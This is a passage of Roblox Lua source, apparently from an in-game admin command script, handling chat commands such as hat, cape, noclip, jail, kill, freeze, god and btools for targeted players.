coroutine.resume(coroutine.create(function()
6459
if v and v:findFirstChild("Backpack") then
6460
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
6461
for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
6462
obj:Destroy()
6463
end
6464
end))
6465
end
6466
end
6467
6468
if msg:lower():sub(1,4) == "hat " then
6469
local chk1 = msg:lower():sub(5):find(" ") + 4
6470
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
6471
for i, v in pairs(plrz) do
6472
coroutine.resume(coroutine.create(function()
6473
if v and v.Character then
6474
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
6475
for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
6476
obj:Destroy()
6477
end
6478
end))
6479
end
6480
end
6481
6482
if msg:lower():sub(1,5) == "cape " then
6483
local chk1 = msg:lower():sub(6):find(" ")
6484
local plrz = GetPlr(plr, msg:lower():sub(6))
6485
local str = "torso.BrickColor"
6486
if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
6487
local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
6488
if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
6489
if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
6490
if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
6491
if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
6492
if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
6493
if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
6494
if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
6495
if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
6496
if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
6497
if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
6498
if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
6499
if BrickColor.new(teststr) ~= nil then str = teststr end
6500
end
6501
for i, v in pairs(plrz) do
6502
coroutine.resume(coroutine.create(function()
6503
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
6504
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
6505
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
6506
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
6507
local torso = plr.Character.Torso
6508
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
6509
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
6510
p.Size = Vector3.new(.2,.2,.2)
6511
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
6512
local motor1 = Instance.new("Motor", p)
6513
motor1.Part0 = p
6514
motor1.Part1 = torso
6515
motor1.MaxVelocity = .01
6516
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
6517
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
6518
local wave = false
6519
repeat wait(1/44)
6520
local ang = 0.1
6521
local oldmag = torso.Velocity.magnitude
6522
local mv = .002
6523
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
6524
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
6525
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
6526
motor1.DesiredAngle = -ang
6527
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
6528
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
6529
if torso.Velocity.magnitude < .1 then wait(.1) end
6530
until not p or p.Parent ~= torso.Parent
6531
script:Destroy()
6532
]] cl.Parent = v.PlayerGui cl.Disabled = false
6533
end
6534
end))
6535
end
6536
end
6537
6538
if msg:lower():sub(1,7) == "uncape " then
6539
local plrz = GetPlr(plr, msg:lower():sub(8))
6540
for i, v in pairs(plrz) do
6541
coroutine.resume(coroutine.create(function()
6542
if v and v:findFirstChild("PlayerGui") and v.Character then
6543
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
6544
end
6545
end))
6546
end
6547
end
6548
6549
if msg:lower():sub(1,7) == "noclip " then
6550
local plrz = GetPlr(plr, msg:lower():sub(8))
6551
for i, v in pairs(plrz) do
6552
coroutine.resume(coroutine.create(function()
6553
if v and v:findFirstChild("PlayerGui") then
6554
local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
6555
cl.Parent = v.PlayerGui cl.Disabled = false
6556
end
6557
end))
6558
end
6559
end
6560
6561
if msg:lower():sub(1,5) == "clip " then
6562
local plrz = GetPlr(plr, msg:lower():sub(6))
6563
for i, v in pairs(plrz) do
6564
coroutine.resume(coroutine.create(function()
6565
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
6566
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
6567
v.Character.Torso.Anchored = false
6568
wait(.1) v.Character.Humanoid.PlatformStand = false
6569
end
6570
end))
6571
end
6572
end
6573
6574
if msg:lower():sub(1,5) == "jail " then
6575
local plrz = GetPlr(plr, msg:lower():sub(6))
6576
for i, v in pairs(plrz) do
6577
coroutine.resume(coroutine.create(function()
6578
if v and v.Character and v.Character:findFirstChild("Torso") then 
6579
local vname = v.Name
6580
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
6581
local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
6582
local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
6583
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
6584
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
6585
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
6586
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
6587
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
6588
end)
6589
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
6590
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
6591
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
6592
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
6593
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
6594
local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
6595
local msh2 = msh:Clone() msh2.Parent = back
6596
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
6597
local msh4 = msh3:Clone() msh4.Parent = left
6598
v.Character.Torso.CFrame = cf
6599
end
6600
end))
6601
end
6602
end
6603
6604
if msg:lower():sub(1,7) == "unjail " then
6605
local plrz = GetPlr(plr, msg:lower():sub(8))
6606
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
6607
end
6608
6609
if msg:lower():sub(1,11) == "starttools " then
6610
local plrz = GetPlr(plr, msg:lower():sub(12))
6611
for i, v in pairs(plrz) do
6612
coroutine.resume(coroutine.create(function()
6613
if v and v:findFirstChild("Backpack") then
6614
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
6615
end
6616
end))
6617
end
6618
end
6619
6620
if msg:lower():sub(1,6) == "sword " then
6621
local plrz = GetPlr(plr, msg:lower():sub(7))
6622
for i, v in pairs(plrz) do
6623
coroutine.resume(coroutine.create(function()
6624
if v and v:findFirstChild("Backpack") then
6625
local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId = "rbxasset://Textures/Sword128.png"
6626
sword.GripForward = Vector3.new(-1,0,0)
6627
sword.GripPos = Vector3.new(0,0,-1.5)
6628
sword.GripRight = Vector3.new(0,1,0)
6629
sword.GripUp = Vector3.new(0,0,1)
6630
local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
6631
local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
6632
local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
6633
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
6634
local Damage = 15
6635
local SlashSound = Instance.new("Sound", script.Parent.Handle)
6636
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
6637
SlashSound.Volume = 1
6638
local LungeSound = Instance.new("Sound", script.Parent.Handle)
6639
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
6640
LungeSound.Volume = 1
6641
local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
6642
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
6643
UnsheathSound.Volume = 1
6644
local last = 0
6645
script.Parent.Handle.Touched:connect(function(hit)
6646
if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
6647
local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
6648
hit.Parent.Humanoid:TakeDamage(Damage)
6649
end
6650
end)
6651
script.Parent.Activated:connect(function()
6652
if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
6653
script.Parent.Enabled = false
6654
local tick = game:service("RunService").Stepped:wait()
6655
if tick - last <= .2 then
6656
LungeSound:play()
6657
local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
6658
local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
6659
wait(.2)
6660
script.Parent.GripForward = Vector3.new(0,0,1)
6661
script.Parent.GripRight = Vector3.new(0,-1,0)
6662
script.Parent.GripUp = Vector3.new(-1,0,0)
6663
wait(.3)
6664
frc:Destroy() wait(.5)
6665
script.Parent.GripForward = Vector3.new(-1,0,0)
6666
script.Parent.GripRight = Vector3.new(0,1,0)
6667
script.Parent.GripUp = Vector3.new(0,0,1)
6668
else
6669
SlashSound:play()
6670
local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
6671
end
6672
last = tick
6673
script.Parent.Enabled = true
6674
end)
6675
script.Parent.Equipped:connect(function(mouse)
6676
for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
6677
UnsheathSound:play()
6678
script.Parent.Enabled = true
6679
if not mouse then return end
6680
mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
6681
end)]] cl.Disabled = false 
6682
end
6683
end))
6684
end
6685
end
6686
6687
if msg:lower():sub(1,6) == "clone " then
6688
local plrz = GetPlr(plr, msg:lower():sub(7))
6689
for i, v in pairs(plrz) do
6690
coroutine.resume(coroutine.create(function()
6691
if v and v.Character then 
6692
v.Character.Archivable = true 
6693
local cl = v.Character:Clone() 
6694
table.insert(objects,cl) 
6695
cl.Parent = game.Workspace 
6696
cl:MoveTo(v.Character:GetModelCFrame().p)
6697
cl:MakeJoints()
6698
v.Character.Archivable = false 
6699
end
6700
end))
6701
end
6702
end
6703
6704
if msg:lower():sub(1,8) == "control " then
6705
local plrz = GetPlr(plr, msg:lower():sub(9))
6706
for i, v in pairs(plrz) do
6707
coroutine.resume(coroutine.create(function()
6708
if v and v.Character then
6709
v.Character.Humanoid.PlatformStand = true
6710
local w = Instance.new("Weld", plr.Character.Torso ) 
6711
w.Part0 = plr.Character.Torso 
6712
w.Part1 = v.Character.Torso  
6713
local w2 = Instance.new("Weld", plr.Character.Head) 
6714
w2.Part0 = plr.Character.Head 
6715
w2.Part1 = v.Character.Head  
6716
local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm")) 
6717
w3.Part0 = plr.Character:findFirstChild("Right Arm")
6718
w3.Part1 = v.Character:findFirstChild("Right Arm") 
6719
local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
6720
w4.Part0 = plr.Character:findFirstChild("Left Arm")
6721
w4.Part1 = v.Character:findFirstChild("Left Arm") 
6722
local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg")) 
6723
w5.Part0 = plr.Character:findFirstChild("Right Leg")
6724
w5.Part1 = v.Character:findFirstChild("Right Leg") 
6725
local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg")) 
6726
w6.Part0 = plr.Character:findFirstChild("Left Leg")
6727
w6.Part1 = v.Character:findFirstChild("Left Leg") 
6728
plr.Character.Head.face:Destroy()
6729
for i, p in pairs(v.Character:children()) do
6730
if p:IsA("BasePart") then 
6731
p.CanCollide = false
6732
end
6733
end
6734
for i, p in pairs(plr.Character:children()) do
6735
if p:IsA("BasePart") then 
6736
p.Transparency = 1 
6737
elseif p:IsA("Hat") then
6738
p:Destroy()
6739
end
6740
end
6741
v.Character.Parent = plr.Character
6742
v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
6743
end
6744
end))
6745
end
6746
end
6747
6748
if msg:lower():sub(1,5) == "kill " then
6749
local plrz = GetPlr(plr, msg:lower():sub(6))
6750
for i, v in pairs(plrz) do
6751
coroutine.resume(coroutine.create(function()
6752
if v and v.Character then v.Character:BreakJoints() end
6753
end))
6754
end
6755
end
6756
6757
if msg:lower():sub(1,8) == "respawn " then
6758
local plrz = GetPlr(plr, msg:lower():sub(9))
6759
for i, v in pairs(plrz) do
6760
coroutine.resume(coroutine.create(function()
6761
if v and v.Character then v:LoadCharacter() end
6762
end))
6763
end
6764
end
6765
6766
if msg:lower():sub(1,5) == "trip " then
6767
local plrz = GetPlr(plr, msg:lower():sub(6))
6768
for i, v in pairs(plrz) do
6769
coroutine.resume(coroutine.create(function()
6770
if v and v.Character and v.Character:findFirstChild("Torso") then 
6771
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)) 
6772
end
6773
end))
6774
end
6775
end
6776
6777
if msg:lower():sub(1,5) == "stun " then
6778
local plrz = GetPlr(plr, msg:lower():sub(6))
6779
for i, v in pairs(plrz) do
6780
coroutine.resume(coroutine.create(function()
6781
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
6782
v.Character.Humanoid.PlatformStand = true
6783
end
6784
end))
6785
end
6786
end
6787
6788
if msg:lower():sub(1,7) == "unstun " then
6789
local plrz = GetPlr(plr, msg:lower():sub(8))
6790
for i, v in pairs(plrz) do
6791
coroutine.resume(coroutine.create(function()
6792
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
6793
v.Character.Humanoid.PlatformStand = false
6794
end
6795
end))
6796
end
6797
end
6798
6799
if msg:lower():sub(1,5) == "jump " then
6800
local plrz = GetPlr(plr, msg:lower():sub(6))
6801
for i, v in pairs(plrz) do
6802
coroutine.resume(coroutine.create(function()
6803
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
6804
v.Character.Humanoid.Jump = true
6805
end
6806
end))
6807
end
6808
end
6809
6810
if msg:lower():sub(1,4) == "sit " then
6811
local plrz = GetPlr(plr, msg:lower():sub(5))
6812
for i, v in pairs(plrz) do
6813
coroutine.resume(coroutine.create(function()
6814
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
6815
v.Character.Humanoid.Sit = true
6816
end
6817
end))
6818
end
6819
end
6820
6821
if msg:lower():sub(1,10) == "invisible " then
6822
local plrz = GetPlr(plr, msg:lower():sub(11))
6823
for i, v in pairs(plrz) do
6824
coroutine.resume(coroutine.create(function()
6825
if v and v.Character then 
6826
for a, obj in pairs(v.Character:children()) do 
6827
if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
6828
end
6829
end
6830
end))
6831
end
6832
end
6833
6834
if msg:lower():sub(1,8) == "visible " then
6835
local plrz = GetPlr(plr, msg:lower():sub(9))
6836
for i, v in pairs(plrz) do
6837
coroutine.resume(coroutine.create(function()
6838
if v and v.Character then 
6839
for a, obj in pairs(v.Character:children()) do 
6840
if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
6841
end
6842
end
6843
end))
6844
end
6845
end
6846
6847
if msg:lower():sub(1,5) == "lock " then
6848
local plrz = GetPlr(plr, msg:lower():sub(6))
6849
for i, v in pairs(plrz) do
6850
coroutine.resume(coroutine.create(function()
6851
if v and v.Character then 
6852
for a, obj in pairs(v.Character:children()) do 
6853
if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
6854
end
6855
end
6856
end))
6857
end
6858
end
6859
6860
if msg:lower():sub(1,7) == "unlock " then
6861
local plrz = GetPlr(plr, msg:lower():sub(8))
6862
for i, v in pairs(plrz) do
6863
coroutine.resume(coroutine.create(function()
6864
if v and v.Character then 
6865
for a, obj in pairs(v.Character:children()) do 
6866
if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
6867
end
6868
end
6869
end))
6870
end
6871
end
6872
6873
if msg:lower():sub(1,8) == "explode " then
6874
local plrz = GetPlr(plr, msg:lower():sub(9))
6875
for i, v in pairs(plrz) do
6876
coroutine.resume(coroutine.create(function()
6877
if v and v.Character and v.Character:findFirstChild("Torso") then 
6878
local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
6879
end
6880
end))
6881
end
6882
end
6883
6884
if msg:lower():sub(1,4) == "age " then
6885
local plrz = GetPlr(plr, msg:lower():sub(5))
6886
for i, v in pairs(plrz) do
6887
coroutine.resume(coroutine.create(function()
6888
if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
6889
end))
6890
end
6891
end
6892
6893
if msg:lower():sub(1,5) == "fire " then
6894
local plrz = GetPlr(plr, msg:lower():sub(6))
6895
for i, v in pairs(plrz) do
6896
coroutine.resume(coroutine.create(function()
6897
if v and v.Character and v.Character:findFirstChild("Torso") then 
6898
local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
6899
end
6900
end))
6901
end
6902
end
6903
6904
if msg:lower():sub(1,7) == "unfire " then
6905
local plrz = GetPlr(plr, msg:lower():sub(8))
6906
for i, v in pairs(plrz) do
6907
coroutine.resume(coroutine.create(function()
6908
if v and v.Character and v.Character:findFirstChild("Torso") then 
6909
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
6910
end
6911
end))
6912
end
6913
end
6914
6915
if msg:lower():sub(1,6) == "smoke " then
6916
local plrz = GetPlr(plr, msg:lower():sub(7))
6917
for i, v in pairs(plrz) do
6918
coroutine.resume(coroutine.create(function()
6919
if v and v.Character and v.Character:findFirstChild("Torso") then 
6920
local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
6921
end
6922
end))
6923
end
6924
end
6925
6926
if msg:lower():sub(1,8) == "unsmoke " then
6927
local plrz = GetPlr(plr, msg:lower():sub(9))
6928
for i, v in pairs(plrz) do
6929
coroutine.resume(coroutine.create(function()
6930
if v and v.Character and v.Character:findFirstChild("Torso") then 
6931
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
6932
end
6933
end))
6934
end
6935
end
6936
6937
if msg:lower():sub(1,9) == "sparkles " then
6938
local plrz = GetPlr(plr, msg:lower():sub(10))
6939
for i, v in pairs(plrz) do
6940
coroutine.resume(coroutine.create(function()
6941
if v and v.Character and v.Character:findFirstChild("Torso") then 
6942
local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
6943
end
6944
end))
6945
end
6946
end
6947
6948
if msg:lower():sub(1,11) == "unsparkles " then
6949
local plrz = GetPlr(plr, msg:lower():sub(12))
6950
for i, v in pairs(plrz) do
6951
coroutine.resume(coroutine.create(function()
6952
if v and v.Character and v.Character:findFirstChild("Torso") then 
6953
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
6954
end
6955
end))
6956
end
6957
end
6958
6959
if msg:lower():sub(1,3) == "ff " then
6960
local plrz = GetPlr(plr, msg:lower():sub(4))
6961
for i, v in pairs(plrz) do
6962
coroutine.resume(coroutine.create(function()
6963
if v and v.Character then Instance.new("ForceField", v.Character) end
6964
end))
6965
end
6966
end
6967
6968
if msg:lower():sub(1,5) == "unff " then
6969
local plrz = GetPlr(plr, msg:lower():sub(6))
6970
for i, v in pairs(plrz) do
6971
coroutine.resume(coroutine.create(function()
6972
if v and v.Character then 
6973
for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
6974
end
6975
end))
6976
end
6977
end
6978
6979
if msg:lower():sub(1,7) == "punish " then
6980
local plrz = GetPlr(plr, msg:lower():sub(8))
6981
for i, v in pairs(plrz) do
6982
coroutine.resume(coroutine.create(function()
6983
if v and v.Character then 
6984
v.Character.Parent = game:service("Lighting")
6985
end
6986
end))
6987
end
6988
end
6989
6990
if msg:lower():sub(1,9) == "unpunish " then
6991
local plrz = GetPlr(plr, msg:lower():sub(10))
6992
for i, v in pairs(plrz) do
6993
coroutine.resume(coroutine.create(function()
6994
if v and v.Character then 
6995
v.Character.Parent = game:service("Workspace")
6996
v.Character:MakeJoints()
6997
end
6998
end))
6999
end
7000
end
7001
7002
if msg:lower():sub(1,7) == "freeze " then
7003
local plrz = GetPlr(plr, msg:lower():sub(8))
7004
for i, v in pairs(plrz) do
7005
coroutine.resume(coroutine.create(function()
7006
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
7007
for a, obj in pairs(v.Character:children()) do 
7008
if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
7009
end
7010
end
7011
end))
7012
end
7013
end
7014
7015
if msg:lower():sub(1,5) == "thaw " then
7016
local plrz = GetPlr(plr, msg:lower():sub(6))
7017
for i, v in pairs(plrz) do
7018
coroutine.resume(coroutine.create(function()
7019
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
7020
for a, obj in pairs(v.Character:children()) do 
7021
if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
7022
end
7023
end
7024
end))
7025
end
7026
end
7027
7028
if msg:lower():sub(1,5) == "heal " then
7029
local plrz = GetPlr(plr, msg:lower():sub(6))
7030
for i, v in pairs(plrz) do
7031
coroutine.resume(coroutine.create(function()
7032
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
7033
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
7034
end
7035
end))
7036
end
7037
end
7038
7039
if msg:lower():sub(1,4) == "god " then
7040
local plrz = GetPlr(plr, msg:lower():sub(5))
7041
for i, v in pairs(plrz) do
7042
coroutine.resume(coroutine.create(function()
7043
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
7044
v.Character.Humanoid.MaxHealth = math.huge
7045
v.Character.Humanoid.Health = 9e9
7046
end
7047
end))
7048
end
7049
end
7050
7051
if msg:lower():sub(1,6) == "ungod " then
7052
local plrz = GetPlr(plr, msg:lower():sub(7))
7053
for i, v in pairs(plrz) do
7054
coroutine.resume(coroutine.create(function()
7055
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
7056
v.Character.Humanoid.MaxHealth = 100
7057
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
7058
end
7059
end))
7060
end
7061
end
7062
7063
if msg:lower():sub(1,8) == "ambient " then
7064
local chk1 = msg:lower():sub(9):find(" ") + 8
7065
local chk2 = msg:sub(chk1+1):find(" ") + chk1
7066
game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
7067
end
7068
7069
if msg:lower():sub(1,11) == "brightness " then
7070
game.Lighting.Brightness = msg:sub(12)
7071
end
7072
7073
if msg:lower():sub(1,5) == "time " then
7074
game.Lighting.TimeOfDay = msg:sub(6)
7075
end
7076
7077
if msg:lower():sub(1,9) == "fogcolor " then
7078
local chk1 = msg:lower():sub(10):find(" ") + 9
7079
local chk2 = msg:sub(chk1+1):find(" ") + chk1
7080
game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
7081
end
7082
7083
if msg:lower():sub(1,7) == "fogend " then
7084
game.Lighting.FogEnd = msg:sub(8)
7085
end
7086
7087
if msg:lower():sub(1,9) == "fogstart " then
7088
game.Lighting.FogStart = msg:sub(10)
7089
end
7090
7091
if msg:lower():sub(1,7) == "btools " then
7092
local plrz = GetPlr(plr, msg:lower():sub(8))
7093
for i, v in pairs(plrz) do
7094
coroutine.resume(coroutine.create(function()
7095
if v and v:findFirstChild("Backpack") then 
7096
local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
7097
local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
7098
local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
7099
local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
7100
local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
7101
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
7102
local sb
7103
local hs
7104
local pdist
7105
7106
script.Parent.Selected:connect(function(mouse)
7107
if not mouse then return end
7108
sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
7109
